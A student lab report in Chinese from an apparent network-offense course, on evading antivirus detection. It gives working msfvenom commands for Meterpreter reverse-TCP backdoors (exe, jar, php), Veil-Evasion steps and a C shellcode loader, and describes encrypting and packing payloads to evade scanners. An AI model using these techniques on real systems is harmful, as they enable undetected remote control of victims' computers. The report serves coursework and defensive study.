2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践

2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践

一 免杀原理与实践说明

(一)、实验说明

  • 任务一:正确使用msf编码器,msfvenom生成如jar之类的其余文件,veil-evasion,本身利用shellcode编程等免杀工具或技巧;(1.5分)php

  • 任务二:经过组合应用各类技术实现恶意代码免杀(1分)html

  • 任务三:用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)java

(二)、基础问题回答

  • 问:杀软是如何检测出恶意代码的?
    • 基于特征来检测:恶意代码中通常会有一段有较明显特征的代码也就是特征码,若是杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序看成恶意软件。
    • 基于行为来检测:经过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,并且比较特殊。因此当一个程序在运行时,杀毒软件会监视其行为,若是发现了这种特殊的行为,则会把它当成恶意软件。
  • 问:免杀是作什么?
    • 经过使用一些技术手段,让杀毒软件没法识别并分析主机中的恶意代码。
  • 问:免杀的基本方法有哪些?
    • 改变特征码:
      • 只有exe——加壳
      • 有shellcode——利用shellcode生成可执行文件
      • 有源代码——用其余语言重写再编译
    • 改变行为:
      • 通信方式:尽可能使用反弹式链接、使用隧道技术、加密通信数据等。
      • 操做模式:基于内存操做、减小对系统的修改、加入混淆做用的正常功能代码等。可是,如今微软对此彷佛也有所防备。我会在下面的实验过程当中详细叙述这种猜测的来源。
  • 问:开启杀软能绝对防止电脑中恶意代码吗?
    • 显然不可能,若是有这种想法无疑是掩耳盗铃。。。。

2、 使用msf编码器生成后门程序及检测

一、在《Exp2:后门原理与实践》博客中,咱们生成了一个后门文件。将其放在virscan.org中进行扫描,结果以下图所示:算法

能够看出,70款杀软中有51款报出了病毒。缘由也可想而知,Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,立刻就会加到特征库里了。shell

二、使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.147 LPORT=5316 -f exe > met-encoded10.exe指令进行屡次编码。编程

再使用VirusTotal进行扫描,一次迭代结果以下所示:windows

十次迭代结果以下所示:安全

仍然有52款杀软发现病毒(为啥一次还比十次少。。。。)。并无什么卵用。屡次编码以后的后门,仍是会被大多数杀软发现并清理的。网络

3、其余形式的反弹代码

1. msfvenom生成jar文件

生成java后门程序使用命令: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 x> backdoor5316_java.jar 生成文件以下所示:tcp

扫描结果以下:

2. msfvenom生成php文件

生成PHP后门程序使用命令: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 x> backdoor5316_zuihaode.php(多是由于php是。。。。) 生成文件以下所示:

扫描结果以下:

想生成更多其余形式的文件能够参考学姐的博客

3、使用veil-evasion生成后门程序及检测

安装veil-evasion的时候遇到了好多麻烦事,网速贼慢,好不容易下载好了,“展开对象”执行了俩小时还没结束,去网上也搜不到相关的缘由和解释,最终仍是拷贝了同窗的虚拟机,若是我有机会能安装好,我会补一篇安tu装cao教程的。

一、use evasion启动evail-evasion:

二、输入命令use c/meterpreter/rev_tcp.py 进入配置界面

三、设置反弹链接IP,命令为:set LHOST 192.168.1.241,注意此处的IP是KaliIP;设置端口,命令为:set LPORT 5316:

四、输入generate生成文件,接着输入你想要playload的名字:veil_c_5316

五、保存路径为/var/lib/veil/output/compiled/veil_c_5316.exe

和之前差很少,看来去年玩烂的东西今年就被查了啊。

四. 半手工注入Shellcode并执行

在《Exp2:后门原理与实践》博客中,一样介绍了生成shellcode的方法,此次咱们利用生成的shellcode编写后门程序,半手工打造恶意软件。

一、首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 -f c用c语言生成一段shellcode;

二、利用shellcode编写一个C语言程序后门,在windows下编译运行后,测试其可用性:

#include <windows.h>
#include <stdio.h>
 
//data段可读写
#pragma comment(linker, "/section:.data,RWE") 
//不显示窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO")

void main(){
    ((void(*)(void))&shellcode)();//shellcode是你生成的机器码头指针
}

不用看都能知道,直接被杀软杀掉。由于出现了shellcode,能够看出,明文shellcode见光死。

三、扫描发现,仍有不少杀软可以扫描出来:

四、此时,个人心境发生了微妙的变化,我使用了新的方法加密了shellcode,让它不以明文方式出现,下图中左边为解密出来的shellcode,右边能够看出kali已经成功得到Windows权限。(呃,这里本来有一个成功的截图,可是我看到不要放截图,就没放出来。)

五、杀软没有发现它,扫描结果仅为17%。

六、而后,我给它加了一个upx压缩壳。是没被杀出来,可是,扫描结果却没有上面乐观。

5、用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本

注意:因为换了网络,IP地址会发生变化,全部的程序都须要从新生成。(也有可能不会,毕竟一个宿舍一个局域网)

对舍友电脑进行免杀效果测试并回连成功(舍友的杀软为最新的360安全卫士11)

离实战还缺些什么技术或步骤?

首先,虽然程序可以不被杀软检测到,咱们如今只是会一些简单的综合利用技术进行改造,但实际上病毒库时时刻刻再也不更新发展,咱们更须要学会多方面技术来使达到免杀的目的。

其次,但对于实战来讲,恶意代码如何嵌入被攻击机中,并让被控主机运行它对咱们来讲仍是一大问题,因此接下来要对如何假装、吸引被供给端点击这方面进行学习。

再次,咱们对于编程和计算机内部结构的了解还不够深入,没有将知识联系起来,没法有效找出计算机的漏洞。

总体来讲就是要进行信息收集、漏洞分析,而后根据漏洞构造后门,并隐藏、清理痕迹等。

相关文章
相关标签/搜索